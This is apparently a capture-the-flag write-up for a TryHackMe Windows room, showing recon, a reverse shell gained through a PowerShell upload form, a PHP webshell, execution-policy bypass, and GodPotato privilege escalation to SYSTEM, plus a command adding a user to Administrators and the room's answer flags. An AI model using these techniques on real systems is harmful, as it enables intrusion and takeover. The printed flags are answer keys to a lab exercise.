Stealth
Use your evasion skills to pwn a Windows target with an updated defence mechanism. Are you stealthier enough to evade all the updated security measures of the target?
Recon
┌──(kali㉿kali)-[~]
└─$ nmap -T4 --min-rate 1000 -sC -sV -p- -Pn stealth.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-04 03:07 EST
Nmap scan report for stealth.thm (10.10.19.123)
Host is up (0.15s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: HOSTEVASION
| NetBIOS_Domain_Name: HOSTEVASION
| NetBIOS_Computer_Name: HOSTEVASION
| DNS_Domain_Name: HostEvasion
| DNS_Computer_Name: HostEvasion
| Product_Version: 10.0.17763
|_ System_Time: 2024-01-04T08:13:43+00:00
| ssl-cert: Subject: commonName=HostEvasion
| Not valid before: 2024-01-03T07:32:29
|_Not valid after: 2024-07-04T07:32:29
|_ssl-date: 2024-01-04T08:14:23+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8000/tcp open http PHP cli server 5.5 or later
|_http-title: 404 Not Found
8080/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-title: PowerShell Script Analyser
8443/tcp open ssl/http Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-title: PowerShell Script Analyser
| tls-alpn:
|_ http/1.1
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
Service Info: Host: www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-01-04T08:13:44
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 430.88 secondsUpon visiting the page on port 8080 we get a file upload form. It states that it is a PoweShell Script Analyser along with some details on what files we can upload.
Initial Access
Let's try to get a reverse shell with this if possible.
I found this reverse shell scrip to work. Make sure to change the IP address and Port number.
Setup a listener on the specified port.
Unexpected error with integration github-files: Integration is not installed on this space
We have a reverse shell.
We have something callled encodedflag on the desktop. It looks to be base64 encoded. We can decode it and see what it gives us.
┌──(kali㉿kali)-[~]
└─$ echo "WW91IGNhbiBnZXQgdGhlIGZsYWcgYnkgdmlzaXRpbmcgdGhlIGxpbmsgaHR0cDov
LzxJUF9PRl9USElTX1BDPjo4MDAwL2FzZGFzZGFkYXNkamFramRuc2Rmc2Rmcy5w
aHA=" | base64 -d
You can get the flag by visiting the link http://<IP_OF_THIS_PC>:8000/asdasdadasdjakjdnsdfsdfs.php Decoding it gives us a link for the flag.
Unfortunately no flag yet. It tells us that there is a log file present. Upon further inspection
SHELL> dir
Directory: C:\Users\evader\documents\task
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/4/2023 2:13 PM 3114 file.ps1
-a---- 8/29/2023 3:06 PM 71 log.txt
SHELL> cat file.ps1
$FolderPath = "C:\xampp\htdocs\uploads\"
$FileDictionary = @{}
# Populate the initial state of the dictionary with file names and timestamps
$Files = Get-ChildItem -Path $FolderPath
foreach ($file in $Files) {
$FileDictionary[$file.Name] = $file.LastWriteTime
}
# Watch for changes in the directory
while ($true) {
.
.
.
# Check if the file is executable, a PowerShell script, or a pdf document
$extension = $file.Extension.ToLower()
if ($extension -eq ".ps1") {
$scriptPath = "C:\xampp\htdocs\uploads\$($file.Name)"
.
.
.
$scriptPath = "C:\xampp\htdocs\uploads\$($file.Name)"
SHELL> dir
Directory: C:\Users\evader\documents\task
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/4/2023 2:13 PM 3114 file.ps1
-a---- 8/29/2023 3:06 PM 71 log.txt
SHELL> cat log.txt
File log.txt has been modified.
File vulnerable.ps1 has been modified.
SHELL>
From the contents of file.ps1located inC:\Users\evader\Documents\Task folder indicates that there is a log file present in the C:\xampp\htdocs\uploads
Remove the log.txt file and accessing the earlier link gives us the first flag.
Privilege Escalation
After some research and trial and error. Payload all the things github led me to another repository with privilege escalation.
Unexpected error with integration github-files: Integration is not installed on this space
We can use this to check for ways to get privilege escalation. Setup a python server and upload the file.
Following the instructions from the Github
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"We can see xampp has high vulnerability and it is run by evader user. Which we have access to via reverse shell.
We can try a simple php webshell and access it via the browser to check for more info.
We have made our shell now we need to access it via the browser.
As you can see this gives us more info.
The user has SeImpersonatePrivilege enabled this can be used to gain privilege escalation. We can use GodPotato for privilege escalation.
After uploading the file to C:\xampp\htdocs we use the program's built-in Clsid for privilege escalation and execute a simple command. (Here the output file is potato.exe)
potato.exe+ -cmd "cmd /c whoami"
This shows that we are root (NT AUTHORITY\SYSTEM).
We can just replace the whoami command with dir C:\Users\Administrator\Desktop check for flag on the desktop of the administrator.
We have found a flag here. We can just use type C:\Users\Administrator\Desktop\flag.txt to display the flag.
We can also add the user to the Administrators group and login via RDP and access the flag. This can be done with the following command.
net localgroup administrators <#username#> <#password#> /addpotato.exe+ -cmd "cmd /c net localgroup administrators <#username#> <#password#> /add"What is the content of the user level flag?
THM{1010_EVASION_LOCAL_USER} What is the content of the root level flag?
THM{101011_ADMIN_ACCESS}Last updated
Was this helpful?